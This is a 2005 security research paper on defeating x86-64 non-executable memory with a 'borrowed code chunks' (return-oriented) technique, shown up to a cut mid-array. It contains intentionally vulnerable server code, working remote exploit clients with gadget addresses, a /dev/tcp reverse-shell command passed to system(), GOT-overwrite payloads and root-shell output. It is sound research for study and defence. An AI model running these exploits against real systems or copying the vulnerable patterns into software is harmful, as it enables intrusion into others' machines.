x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique

Sebastian Krahmer *krahmer@suse.de*

September 28, 2005

Abstract

The x86-64 CPU platform (i.e. AMD64 or Hammer) introduces new features to protect against exploitation of buffer overflows, the so called No Execute (NX) or Advanced Virus Protection (AVP). This non-executable enforcement of data pages and the ELF64 SystemV ABI render common buffer overflow exploitation techniques useless. This paper describes and analyzes the protection mechanisms in depth. Research and target platform was a SUSE Linux 9.3 x86-64 system but the results can be expanded to non-Linux systems as well.
search engine tag: SET-krahmer-bccet-2005.

Contents

1 Preface

Before you read this paper please be sure you properly understand how buffer overflows work in general or how the *return into libc* trick works. It would be too much workload for me to explain it again in this paper. Please see the references section to find links to a description for buffer overflow and *return into libc* exploitation techniques.

2 Introduction

In recent years many security relevant programs suffered from buffer overflow vulnerabilities. A lot of intrusions happen due to buffer overflow exploits, if not even most of them. Historically x86 CPUs suffered from the fact that data pages could not only be readable OR executable. If the read bit was set this page was executable too. That was fundamental for the common buffer overflow exploits to function since the so called shellcode was actually data delivered to the program. If this data would be placed in a readable but non-executable page, it could still overflow internal buffers but it won't be possible to get it to execute. Demanding for such a mechanism the PaX kernel patch introduced a workaround for this r-means-x problem [7]. Todays CPUs (AMD64 as well as newer x86 CPUs) however offer a solution in-house. They enforce the missing execution bit even if a page is readable, unlike recent x86 CPUs did. From the exploiting perspective this completely destroys the common buffer overflow technique since the attacker is not able to get execution to his shellcode anymore. Why *return-into-libc* also fails is explained within the next sections.

3 ELF64 layout and x86-64 execution mode

On the Linux x86-64 system the CPU is switched into the so called *long mode*. Stack wideness is 64 bit, the GPR registers also carry 64 bit width values and the address size is 64 bit as well. The non executable bit is enforced if the Operating System sets proper page protections.

```
linux:~ # cat

[1]+  Stopped                 cat
linux:~ # ps aux|grep cat
root     13569  0.0  0.1   3680   600 pts/2    T    15:01   0:00 cat
root     13571  0.0  0.1   3784   752 pts/2    R+   15:01   0:00 grep cat
linux:~ # cat /proc/13569/maps
00400000-00405000 r-xp 00000000 03:06 23635                              /bin/cat
00504000-00505000 rw-p 00004000 03:06 23635                              /bin/cat
00505000-00526000 rw-p 00505000 00:00 0
2aaaaaaab000-2aaaaaac1000 r-xp 00000000 03:06 12568                      /lib64/ld-2.3.4.so
2aaaaaac1000-2aaaaaac2000 rw-p 2aaaaaac1000 00:00 0
2aaaaaac2000-2aaaaaac3000 r--p 00000000 03:06 13642                      /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION
2aaaaaac3000-2aaaaaac9000 r--s 00000000 03:06 15336                      /usr/lib64/gconv/gconv-modules.cache
2aaaaaac9000-2aaaaaaca000 r--p 00000000 03:06 15561                      /usr/lib/locale/en_US.utf8/LC_MEASUREMENT
2aaaaaaca000-2aaaaaacb000 r--p 00000000 03:06 13646                      /usr/lib/locale/en_US.utf8/LC_TELEPHONE
2aaaaaacb000-2aaaaaacc000 r--p 00000000 03:06 13641                      /usr/lib/locale/en_US.utf8/LC_ADDRESS
2aaaaaacc000-2aaaaaacd000 r--p 00000000 03:06 13645                      /usr/lib/locale/en_US.utf8/LC_NAME
2aaaaaacd000-2aaaaaace000 r--p 00000000 03:06 15595                      /usr/lib/locale/en_US.utf8/LC_PAPER
2aaaaaace000-2aaaaaacf000 r--p 00000000 03:06 15751                      /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES
2aaaaaacf000-2aaaaaad0000 r--p 00000000 03:06 13644                      /usr/lib/locale/en_US.utf8/LC_MONETARY
2aaaaaad0000-2aaaaaba8000 r--p 00000000 03:06 15786                      /usr/lib/locale/en_US.utf8/LC_COLLATE
```

```
2aaaaaba8000-2aaaaaba9000 r--p 00000000 03:06 13647                      /usr/lib/locale/en_US.utf8/LC_TIME
2aaaaaba9000-2aaaaabaa000 r--p 00000000 03:06 15762                      /usr/lib/locale/en_US.utf8/LC_NUMERIC
2aaaaabc0000-2aaaaabc2000 rw-p 00015000 03:06 12568                      /lib64/ld-2.3.4.so
2aaaaabc2000-2aaaaacdf000 r-xp 00000000 03:06 12593                      /lib64/tls/libc.so.6
2aaaaacdf000-2aaaaadde000 ---p 0011d000 03:06 12593                      /lib64/tls/libc.so.6
2aaaaadde000-2aaaaade1000 r--p 0011c000 03:06 12593                      /lib64/tls/libc.so.6
2aaaaade1000-2aaaaade4000 rw-p 0011f000 03:06 12593                      /lib64/tls/libc.so.6
2aaaaade4000-2aaaaadea000 rw-p 2aaaaade4000 00:00 0
2aaaaadea000-2aaaaae1d000 r--p 00000000 03:06 15785                      /usr/lib/locale/en_US.utf8/LC_CTYPE
7ffffffeb000-800000000000 rw-p 7ffffffeb000 00:00 0
ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0
linux:~ #
```

As can be seen the `.data` section is mapped RW and the `.text` section with RX permissions. Shared libraries are loaded into RX protected pages, too. The stack got a new section in the newer ELF64 binaries and is mapped at address `0x7ffffffeb000` with RW protection bits in this example.

```
linux:~ # objdump -x /bin/cat |head -30

/bin/cat:     file format elf64-x86-64
/bin/cat
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x00000000004010a0

Program Header:
    PHDR off    0x0000000000000040 vaddr 0x0000000000400040 paddr 0x0000000000400040 align 2**3
         filesz 0x00000000000001f8 memsz 0x00000000000001f8 flags r-x
  INTERP off    0x0000000000000238 vaddr 0x0000000000400238 paddr 0x0000000000400238 align 2**0
         filesz 0x000000000000001c memsz 0x000000000000001c flags r--
    LOAD off    0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**20
         filesz 0x000000000000494c memsz 0x000000000000494c flags r-x
    LOAD off    0x0000000000004950 vaddr 0x0000000000504950 paddr 0x0000000000504950 align 2**20
         filesz 0x00000000000003a0 memsz 0x0000000000000520 flags rw-
 DYNAMIC off    0x0000000000004978 vaddr 0x0000000000504978 paddr 0x0000000000504978 align 2**3
         filesz 0x0000000000000190 memsz 0x0000000000000190 flags rw-
    NOTE off    0x0000000000000254 vaddr 0x0000000000400254 paddr 0x0000000000400254 align 2**2
         filesz 0x0000000000000020 memsz 0x0000000000000020 flags r--
    NOTE off    0x0000000000000274 vaddr 0x0000000000400274 paddr 0x0000000000400274 align 2**2
         filesz 0x0000000000000018 memsz 0x0000000000000018 flags r--
EH_FRAME off    0x000000000000421c vaddr 0x000000000040421c paddr 0x000000000040421c align 2**2
         filesz 0x000000000000015c memsz 0x000000000000015c flags r--
   STACK off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-

Dynamic Section:
  NEEDED      libc.so.6
  INIT        0x400e18
linux:~ #
```

On older Linux kernels the stack had no own section within the ELF binary since it was not possible to enforce read-no-execute anyways.
As can be seen by the *maps* file of the *cat* process, there is no page an attacker could potentially place his shellcode and where he can jump into afterwards. All pages are either not writable, so no way to put shellcode there, or if they are writable they are not executable.
It is not entirely new to the exploit coders that there is no way to put code into the program or at least to transfer control to it. For that reason two techniques called *return-into-libc* [5] and *advanced-return-into-libc* [4] have been developed. This allowed to bypass the PaX protection scheme in certain cases, if the application to be exploited gave conditions to use that technique.[1] However this technique works only on recent x86

[1] Address Space Layout Randomization for example could make things more difficult or the overall behavior of the program, however there are techniques to bypass ASLR as well.

CPUs and NOT on the x86-64 architecture since the ELF64 SystemV ABI specifies that *function call parameters are passed within registers*[2]. The *return-into-libc* trick requires that arguments to e.g. *system(3)* are passed on the stack since you build a fake stack-frame for a fake *system(3)* function call. If the argument of *system(3)* has to be passed into the `%rdi` register, the *return-into-libc* fails or executes junk which is not under control of the attacker.

4 The borrowed code chunks technique

Since neither the common nor the *return-into-libc* way works we need to develop another technique which I call the *borrowed code chunks technique*. You will see why this name makes sense.
As with the *return-into-libc* technique this will focus on stack based overfbws. But notice that heap based overfbws or format bugs can often be mapped to stack based overfbws since one can write arbitrary data to an arbitrary location which can also be the stack.

This sample program is used to explain how even in this restricted environment arbitrary code can be executed.

```
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>


void die(const char *s)
{
    perror(s);
    exit(errno);
}


int handle_connection(int fd)
{
    char buf[1024];

    write(fd, "OF Server 1.0\n", 14);
    read(fd, buf, 4*sizeof(buf));
    write(fd, "OK\n", 3);
    return 0;
}


void sigchld(int x)
{
    while (waitpid(-1, NULL, WNOHANG) != -1);
}


int main()
{
    int sock = -1, afd = -1;
    struct sockaddr_in sin;
```

[2] The first 6 integer arguments, so this affects us.

```
33        int one = 1;

34        printf("&sock = %p system=%p mmap=%p\n", &sock, system, mmap);

35        if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
36            die("socket");
37        memset(&sin, 0, sizeof(sin));
38        sin.sin_family = AF_INET;
39        sin.sin_port = htons(1234);
40        sin.sin_addr.s_addr = INADDR_ANY;

41        setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

42        if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
43            die("bind");
44        if (listen(sock, 10) < 0)
45            die("listen");

46        signal(SIGCHLD, sigchld);

47        for (;;) {
48            if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR)
49                die("accept");
50            if (afd < 0)
51                continue;
52            if (fork() == 0) {
53                handle_connection(afd);
54                exit(0);
55            }
56            close(afd);
57        }

58        return 0;
59    }
```

Obviously a overfbw happens at line 21. Keep in mind, even if we are able to overwrite the return address and to place a shellcode into *buf*, we can't execute it since page permissions forbid it. We can't use the *return-into-libc* trick either since the function we want to "call" e.g. *system(3)* expects the argument in the `%rdi` register. Since there is no chance to transfer execution fbw to our own instructions due to restricted page permissions we have to find a way to transfer arbitrary values into registers so that we could finally jump into *system(3)* with proper arguments. Lets analyze the *server* binary at assembly level:

```
0x0000000000400a40 <handle_connection+0>:       push   %rbx
0x0000000000400a41 <handle_connection+1>:       mov    $0xe,%edx
0x0000000000400a46 <handle_connection+6>:       mov    %edi,%ebx
0x0000000000400a48 <handle_connection+8>:       mov    $0x400d0c,%esi
0x0000000000400a4d <handle_connection+13>:      sub    $0x400,%rsp
0x0000000000400a54 <handle_connection+20>:      callq  0x400868 <_init+104>
0x0000000000400a59 <handle_connection+25>:      mov    %rsp,%rsi
0x0000000000400a5c <handle_connection+28>:      mov    %ebx,%edi
0x0000000000400a5e <handle_connection+30>:      mov    $0x800,%edx
0x0000000000400a63 <handle_connection+35>:      callq  0x400848 <_init+72>
0x0000000000400a68 <handle_connection+40>:      mov    %ebx,%edi
0x0000000000400a6a <handle_connection+42>:      mov    $0x3,%edx
0x0000000000400a6f <handle_connection+47>:      mov    $0x400d1b,%esi
0x0000000000400a74 <handle_connection+52>:      callq  0x400868 <_init+104>
0x0000000000400a79 <handle_connection+57>:      add    $0x400,%rsp
0x0000000000400a80 <handle_connection+64>:      xor    %eax,%eax
0x0000000000400a82 <handle_connection+66>:      pop    %rbx
0x0000000000400a83 <handle_connection+67>:      retq
```

All we control when the overfbw happens is the content on the stack. At address `0x0000000000400a82` we see

```
0x0000000000400a82 <handle_connection+66>:      pop    %rbx
0x0000000000400a83 <handle_connection+67>:      retq
```

We can control content of register `%rbx`, too. Might it be possible that `%rbx` is moved to `%rdi` somewhere? Probably, but the problem is that the instructions which actually do this have to be prefix of a `retq` instruction since after `%rdi` has been properly filled with the address of the *system(3)* argument this function has to be called. Every single instruction between filling `%rdi` with the right value and the `retq` raises the probability that this content is destroyed or the code accesses invalid memory and segfaults. After an overfbw we are not in a very stable program state at all. Lets see which maybe interesting instructions are a prefix of a `retq`.

```
0x00002aaaaac7b632 <sysctl+130>:        mov    0x68(%rsp),%rbx
0x00002aaaaac7b637 <sysctl+135>:        mov    0x70(%rsp),%rbp
0x00002aaaaac7b63c <sysctl+140>:        mov    0x78(%rsp),%r12
0x00002aaaaac7b641 <sysctl+145>:        mov    0x80(%rsp),%r13
0x00002aaaaac7b649 <sysctl+153>:        mov    0x88(%rsp),%r14
0x00002aaaaac7b651 <sysctl+161>:        mov    0x90(%rsp),%r15
0x00002aaaaac7b659 <sysctl+169>:        add    $0x98,%rsp
0x00002aaaaac7b660 <sysctl+176>:        retq
```

Interesting. This lets us fill `%rbx, %rbp, %r12..%r15`. But useless for our purpose. It might help if one of these registers is moved to `%rdi` somewhere else though.

```
0x00002aaaaac50bf4 <setuid+52>: mov    %rsp,%rdi
0x00002aaaaac50bf7 <setuid+55>: callq  *%eax
```

We can move content of `%rsp` to `%rdi`. If we wind up `%rsp` to the right position this is a way to go. Hence, we would need to fill `%eax` with the address of *system(3)*...

```
0x00002aaaaac743d5 <ulimit+133>:        mov    %rbx,%rax
0x00002aaaaac743d8 <ulimit+136>:        add    $0xe0,%rsp
0x00002aaaaac743df <ulimit+143>:        pop    %rbx
0x00002aaaaac743e0 <ulimit+144>:        retq
```

Since we control `%rbx` from the *handle_connection()* outro we can fill `%rax` with arbitrary values too. `%rdi` will be filled with a stack address where we put the argument to *system(3)* to. Just lets reassemble which code snippets we *borrowed* from the *server* binary and in which order they are executed:

```
0x0000000000400a82 <handle_connection+66>:      pop    %rbx
0x0000000000400a83 <handle_connection+67>:      retq

0x00002aaaaac743d5 <ulimit+133>:                mov    %rbx,%rax
0x00002aaaaac743d8 <ulimit+136>:                add    $0xe0,%rsp
0x00002aaaaac743df <ulimit+143>:                pop    %rbx
0x00002aaaaac743e0 <ulimit+144>:                retq

0x00002aaaaac50bf4 <setuid+52>:                 mov    %rsp,%rdi
0x00002aaaaac50bf7 <setuid+55>:                 callq  *%eax
```

The `retq` instructions actually chain the code chunks together (we control the stack!) so you can skip it while reading the code. Virtually, since we control the stack, the following code gets executed:

```
pop    %rbx
mov    %rbx,%rax
add    $0xe0,%rsp
pop    %rbx
mov    %rsp,%rdi
callq  *%eax
```

That’s an instruction sequence which fills all the registers we need with values controlled by the attacker. This code snippet will actually be a call to *system(”sh </dev/tcp/127.0.0.1/3128 >/dev/tcp/127.0.0.1/8080”)* which is a back-connect shellcode.

5 And does this really work?

Yes. Client and server program can be found at [10] so you can test it yourself. If you use a different target platform than mine you might have to adjust the addresses for the libc functions and the borrowed instructions. Also, the client program wants to be compiled on a 64 bit machine since otherwise the compiler complains on too large integer values.

```
void exploit(const char *host)
{
    int sock = -1;
    char trigger[4096];
    size_t tlen = sizeof(trigger);
    struct t_stack {
        char buf[1024];
        u_int64_t rbx;  // to be moved to %rax to be called as *eax = system():
                        // 0x0000000000400a82 <handle_connection+66>:      pop    %rbx
                        // 0x0000000000400a83 <handle_connection+67>:      retq

        u_int64_t ulimit_133;  // to call:
                               // 0x00002aaaaac743d5 <ulimit+133>:        mov    %rbx,%rax
                               // 0x00002aaaaac743d8 <ulimit+136>:        add    $0xe0,%rsp
                               // 0x00002aaaaac743df <ulimit+143>:        pop    %rbx
                               // 0x00002aaaaac743e0 <ulimit+144>:        retq
                               // to yield %rbx in %rax

        char rsp_off[0xe0 + 8];  // 0xe0 is added and one pop
        u_int64_t setuid_52;     // to call:
                                 // 0x00002aaaaac50bf4 <setuid+52>: mov    %rsp,%rdi
                                 // 0x00002aaaaac50bf7 <setuid+55>: callq  *%eax

        char system[512];        // system() argument has to be *here*

    } __attribute__ ((packed)) server_stack;

    char *cmd = "sh < /dev/tcp/127.0.0.1/3128  > /dev/tcp/127.0.0.1/8080;";
    //char nop = ';';

    memset(server_stack.buf, 'X', sizeof(server_stack.buf));
    server_stack.rbx = 0x00002aaaaabfb290;
    server_stack.ulimit_133 = 0x00002aaaaac743d5;
    memset(server_stack.rsp_off, 'A', sizeof(server_stack.rsp_off));
    server_stack.setuid_52 = 0x00002aaaaac50bf4;
    memset(server_stack.system, 0, sizeof(server_stack.system)-1);

    assert(strlen(cmd) < sizeof(server_stack.system));

    strcpy(server_stack.system, cmd);

    if ((sock = tcp_connect(host, 1234)) < 0)
        die("tcp_connect");

    read(sock, trigger, sizeof(trigger));

    assert(tlen > sizeof(server_stack));
    memcpy(trigger, &server_stack, sizeof(server_stack));
    writen(sock, trigger, tlen);
    usleep(1000);
    read(sock, trigger, 1);
    close(sock);
}
```

To make it clear, this is a remote exploit for the sample overfbw server, not just some local theoretical proof of concept that some instructions can be executed. The attacker will get full shell access.

6 Single write exploits

The last sections focused on stack based overfbws and how to exploit them. I already mentioned that heap based buffer overfbws or format string bugs can be mapped to stack based overfbws in most cases. To demonstrate this, I wrote a second overfbw server which basically allows you to write an arbitrary (64-bit) value to an arbitrary (64-bit) address. This scenario is what happens under the hood of a so called malloc exploit or format string exploit. Due to overwriting of internal memory control structures it allows the attacker to write arbitrary content to an arbitrary address. A in depth description of the malloc exploiting techniques can be found in [8].

```
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>


void die(const char *s)
{
    perror(s);
    exit(errno);
}


int handle_connection(int fd)
{
    char buf[1024];
    size_t val1, val2;

    write(fd, "OF Server 1.0\n", 14);
    read(fd, buf, sizeof(buf));
    write(fd, "OK\n", 3);

    read(fd, &val1, sizeof(val1));
    read(fd, &val2, sizeof(val2));
    *(size_t*)val1 = val2;
    write(fd, "OK\n", 3);

    return 0;
}


void sigchld(int x)
{
    while (waitpid(-1, NULL, WNOHANG) != -1);
}


int main()
{
    int sock = -1, afd = -1;
    struct sockaddr_in sin;
    int one = 1;

    printf("&sock = %p system=%p mmap=%p\n", &sock, system, mmap);

    if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
        die("socket");
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(1234);
    sin.sin_addr.s_addr = INADDR_ANY;

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

    if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
```

```
            die("bind");
        if (listen(sock, 10) < 0)
            die("listen");

        signal(SIGCHLD, sigchld);

        for (;;) {
            if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR)
                die("accept");
            if (afd < 0)
                continue;
            if (fork() == 0) {
                handle_connection(afd);
                exit(0);
            }
            close(afd);
        }

        return 0;
    }
```

An exploiting client has to fill `val1` and `val2` with proper values. Most of the time the Global Offset Table *GOT* is the place of choice to write values to. A disassembly of the new *server2* binary shows why.

```
0000000000400868 <write@plt>:
  400868:       ff 25 8a 09 10 00       jmpq   *1051018(%rip)        # 5011f8 <_GLOBAL_OFFSET_TABLE_+0x38>
  40086e:       68 04 00 00 00          pushq  $0x4
  400873:       e9 a0 ff ff ff          jmpq   400818 <_init+0x18>
```

When *write()* is called, transfer is controlled to the *write()* entry in the Procedure Linkage Table *PLT*. This is due to the position independent code, please see [2]. The code looks up the real address to jump to from the *GOT*. The slot which holds the address of glibc's *write()* is at address `0x5011f8`. If we fill this address with an address of our own, control is transfered there. However, we again face the problem that we can not execute any shellcode due to restrictive page protections. We have to use the *code chunks borrow technique* in some variant. The trick is here to shift the stack frame upwards to a stack location where we control the content. This location is *buf* in this example but in a real server it could be some other buffer some functions upwards in the calling chain as well. Basically the same technique called *stack pointer lifting* was described in [5] but this time we use it to not exploit a stack based overfbw but a single-write failure. How can we lift the stack pointer? By jumping in a appropriate function outro. We just have to find out how many bytes the stack pointer has to be lifted. If I calculate correctly it has to be at least two 64-bit values (val1 and val2) plus a saved return address from the write call = *3*sizeof(u_int64_t) = 3*8 = 24* Bytes. At least. Then `%rsp` points directly into *buf* which is under control of the attacker and the game starts again.
Some code snippets from *glibc* which shows that `%rsp` can be lifted at almost arbitrary amounts:

```
  48158:       48 81 c4 d8 00 00 00    add    $0xd8,%rsp
  4815f:       c3                      retq

  4c8f5:       48 81 c4 a8 82 00 00    add    $0x82a8,%rsp
  4c8fc:       c3                      retq
```

```
58825:      48 81 c4 00 10 00 00    add    $0x1000,%rsp
5882c:      48 89 d0                mov    %rdx,%rax
5882f:      5b                      pop    %rbx
58830:      c3                      retq


5a76d:      48 83 c4 48             add    $0x48,%rsp
5a771:      c3                      retq

5a890:      48 83 c4 58             add    $0x58,%rsp
5a894:      c3                      retq

5a9f0:      48 83 c4 48             add    $0x48,%rsp
5a9f4:      c3                      retq

5ad01:      48 83 c4 68             add    $0x68,%rsp
5ad05:      c3                      retq

5b8e2:      48 83 c4 18             add    $0x18,%rsp
5b8e6:      c3                      retq

5c063:      48 83 c4 38             add    $0x38,%rsp
5c067:      c3                      retq

0x00002aaaaac1a90a <funlockfile+298>:   add    $0x8,%rsp
0x00002aaaaac1a90e <funlockfile+302>:   pop    %rbx
0x00002aaaaac1a90f <funlockfile+303>:   pop    %rbp
0x00002aaaaac1a910 <funlockfile+304>:   retq
```

The last code chunk fits perfectly in our needs since it lifts the stack pointer by exactly 24 Bytes. So the value we write to the address `0x5011f8` [3] is `0x00002aaaaac1a90a`. When lifting is done, `%rsp` points to *buf*, and we can re-use the addresses and values from the other exploit.

```
void exploit(const char *host)
{
    int sock = -1;
    char trigger[1024];
    size_t tlen = sizeof(trigger), val1, val2;
    struct t_stack {
        u_int64_t ulimit_143;   // stack lifting from modified GOT pops this into %rip
        u_int64_t rbx;          // to be moved to %rax to be called as *eax = system():
                                // 0x00002aaaaac743df <ulimit+143>:        pop    %rbx
                                // 0x00002aaaaac743e0 <ulimit+144>:        retq

        u_int64_t ulimit_133;   // to call:
                                // 0x00002aaaaac743d5 <ulimit+133>:        mov    %rbx,%rax
                                // 0x00002aaaaac743d8 <ulimit+136>:        add    $0xe0,%rsp
                                // 0x00002aaaaac743df <ulimit+143>:        pop    %rbx
                                // 0x00002aaaaac743e0 <ulimit+144>:        retq
                                // to yied %rbx in %rax

        char rsp_off[0xe0 + 8]; // 0xe0 is added and one pop
        u_int64_t setuid_52;    // to call:
                                // 0x00002aaaaac50bf4 <setuid+52>: mov    %rsp,%rdi
                                // 0x00002aaaaac50bf7 <setuid+55>: callq  *%eax

        char system[512];       // system() argument has to be *here*

    } __attribute__ ((packed)) server_stack;

    char *cmd = "sh < /dev/tcp/127.0.0.1/3128  > /dev/tcp/127.0.0.1/8080;";

    server_stack.ulimit_143 = 0x00002aaaaac743df;
    server_stack.rbx = 0x00002aaaaabfb290;
    server_stack.ulimit_133 = 0x00002aaaaac743d5;
    memset(server_stack.rsp_off, 'A', sizeof(server_stack.rsp_off));
    server_stack.setuid_52 = 0x00002aaaaac50bf4;
    memset(server_stack.system, 0, sizeof(server_stack.system)-1);

    assert(strlen(cmd) < sizeof(server_stack.system));

    strcpy(server_stack.system, cmd);

    if ((sock = tcp_connect(host, 1234)) < 0)
        die("tcp_connect");
```

[3]The *GOT* entry we want to modify.

```
        read(sock, trigger, sizeof(trigger));

        assert(tlen > sizeof(server_stack));
        memcpy(trigger, &server_stack, sizeof(server_stack));
        writen(sock, trigger, tlen);
        usleep(1000);
        read(sock, trigger, 3);

        // 0000000000400868 <write@plt>:
        //  400868:       ff 25 8a 09 10 00       jmpq   *1051018(%rip)        # 5011f8 <_GLOBAL_OFFSET_TABLE_+0x38>
        //  40086e:       68 04 00 00 00          pushq  $0x4
        //  400873:       e9 a0 ff ff ff          jmpq   400818 <_init+0x18>

        val1 = 0x5011f8;
        val2 = 0x00002aaaaac1a90a;          // stack lifting from funlockfile+298
        writen(sock, &val1, sizeof(val1));
        writen(sock, &val2, sizeof(val2));

        sleep(10);
        read(sock, trigger, 3);
        close(sock);
    }
```

The code which gets executed is (`retq` omitted):

```
add    $0x8,%rsp
pop    %rbx
pop    %rbp

pop    %rbx
mov    %rbx,%rax
add    $0xe0,%rsp
pop    %rbx
mov    %rsp,%rdi
callq  *%eax
```

Thats very similar to the first exploiting function except the stack has to be lifted to the appropriate location. The first three instructions are responsible for this. The exploit works also without brute forcing and it works very well:

```
linux: $ ./client2

Connected!
Linux linux 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 11:04:39 up  2:23,  5 users,  load average: 0.36, 0.18, 0.06
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1      08:42    3.00s  0.11s  0.00s ./server2
user     tty2      08:42    0.00s  0.31s  0.01s login -- user
user     tty3      08:43   42:56   0.11s  0.11s -bash
user     tty4      09:01    6:11   0.29s  0.29s -bash
user     tty5      10:04   51:08   0.07s  0.07s -bash
```

Figure 1: Six important code chunks and its opcodes.

Code chunks	Opcodes
pop %rdi; retq	0x5f 0xc3
pop %rsi; retq	0x5e 0xc
pop %rdx; retq	0x5a 0xc3
pop %rcx; retq	0x59 0xc3
pop %r8; retq	0x41 0x58 0xc3
pop %r9; retq	0x41 0x59 0xc3

Figure 2: Stack layout of a 3-argument function call. Higher addresses at the top.

...
&function
argument3
&pop %rdx; retq
argument2
&pop %rsi; retq
argument1
&pop %rdi; retq
...

7 Automated exploitation

During the last sections it was obvious that the described technique is very powerful and it is easily possible to bypass the buffer overflow protection based on the R/X splitting. Nevertheless it is a bit of a hassle to walk through the target code and search for proper instructions to build up a somewhat useful code chain. It would be much easier if something like a special shellcode compiler would search the address space and build a fake stack which has all the code chunks and symbols already resolved and which can be imported by the exploit.
The ABI says that the first six integer arguments are passed within the registers `%rdi,%rsi,%rdx,%rcx,%r8,%r9` in that order. So we have to search for these instructions which do not need to be placed on instruction boundary but can be located somewhere within an executable page. Lets have a look at the opcodes of the code chunks we need at figure 1.

As can be seen, the four most important chunks have only a length of two byte. The library calls attackers commonly need do not have more than three arguments in most cases. Chances to find these two-byte chunks within *libc* or other loaded libraries of the target program are very high.

A stack frame for a library call with three arguments assembled with borrowed code chunks is shown in figure 2. & is the address operator as known from the C programming language. Keep in mind: arguments to *function()* are passed within the registers. The arguments on the stack are popped into the registers by placing the addresses of the appropriate code chunks on the stack. Such one block will execute *function()* and can be chained with other blocks to execute more than one function. A small tool which builds such stack frames from a special input language is available at [10].

```
linux: $ ps aux|grep server
root      7020  0.0  0.0   2404   376 tty3     S+   12:14   0:00 ./server
root      7188  0.0  0.1   2684   516 tty2     R+   12:33   0:00 grep server
linux:  $ cat calls
0
setuid
fork
1
2
3
setresuid
42
close
1
exit
linux: $ ./find -p 7020 < calls
7190: [2aaaaaaab000-2aaaaaac1000] 0x2aaaaaaab000-0x2aaaaaac1000 /lib64/ld-2.3.4.so
pop %rsi; retq @0x2aaaaaaabdfd /lib64/ld-2.3.4.so

pop %rdi; retq @0x2aaaaaaac0a9 /lib64/ld-2.3.4.so

7190: [2aaaaabc2000-2aaaaabc4000] 0x2aaaaabc2000-0x2aaaaabc4000 /lib64/libdl.so.2
7190: [2aaaaacc5000-2aaaaade2000] 0x2aaaaacc5000-0x2aaaaade2000 /lib64/tls/libc.so.6
pop %r8; retq @0x2aaaaacf82c3 /lib64/tls/libc.so.6

pop %rdx; retq @0x2aaaaad890f5 /lib64/tls/libc.so.6

Target process 7020, offset 0
Target process 7020, offset 0
libc_offset=1060864
Target process 7020, offset 1060864
Target process 7020, offset 1060864

pop %rdi; retq 0x2aaaaaaac0a9 0 /lib64/ld-2.3.4.so
pop %rsi; retq 0x2aaaaaaabdfd 0 /lib64/ld-2.3.4.so
pop %rdx; retq 0x2aaaaad890f5 1060864 /lib64/tls/libc.so.6
pop %rcx; retq (nil) 0 (null)
pop %r8; retq 0x2aaaaacf82c3 1060864 /lib64/tls/libc.so.6
pop %r9; retq (nil) 0 (null)
u_int64_t chunks[] = {
        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x0,
        0x2aaaaac50bc0, // setuid

        0x2aaaaac4fdd0, // fork

        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x1,
        0x2aaaaaaabdfd, // pop %rsi; retq,/lib64/ld-2.3.4.so
        0x2,
        0x2aaaaac860f5, // pop %rdx; retq,/lib64/tls/libc.so.6
        0x3,
        0x2aaaaac50e60, // setresuid

        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x2a,
        0x2aaaaac6ed00, // close

        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x1,
        0x2aaaaabf2610, // exit

};
```

The *calls* file is written in that special language and tells the chunk compiler to build a stack frame which, if placed appropriately on the vulnerable *server* program, calls the function sequence of

```
setuid(0);
fork();
setresuid(1,2,3);
close(42);
exit(1);
```

just to demonstrate that things work. These are actually calls to *libc* functions. These are not direct calls to system-calls via the `SYSCALL` instruction. The order of arguments is PASCAL-style within the chunk-compiler language, e.g. the first argument comes first. The important output is the `u_int64_t chunks[]` array which can be used right away to exploit the process which it was given via the *-p* switch. This was the PID of the *server* process in this example. The array can be cut&pasted to the *exploit()* function:

```
void exploit(const char *host)
{
    int sock = -1;
    char trigger[4096];
    size_t tlen = sizeof(trigger);
    struct t_stack {
        char buf[1024];
        u_int64_t rbx;
        u_int64_t code[17];
    } __attribute__ ((packed)) server_stack;


    u_int64_t chunks[] = {
            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0x0,
            0x2aaaaac50bc0, // setuid

            0x2aaaaac4fdd0, // fork

            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0x1,
            0x2aaaaaaabdfd, // pop %rsi; retq,/lib64/ld-2.3.4.so
            0x2,
            0x2aaaaac860f5, // pop %rdx; retq,/lib64/tls/libc.so.6
            0x3,
            0x2aaaaac50e60, // setresuid

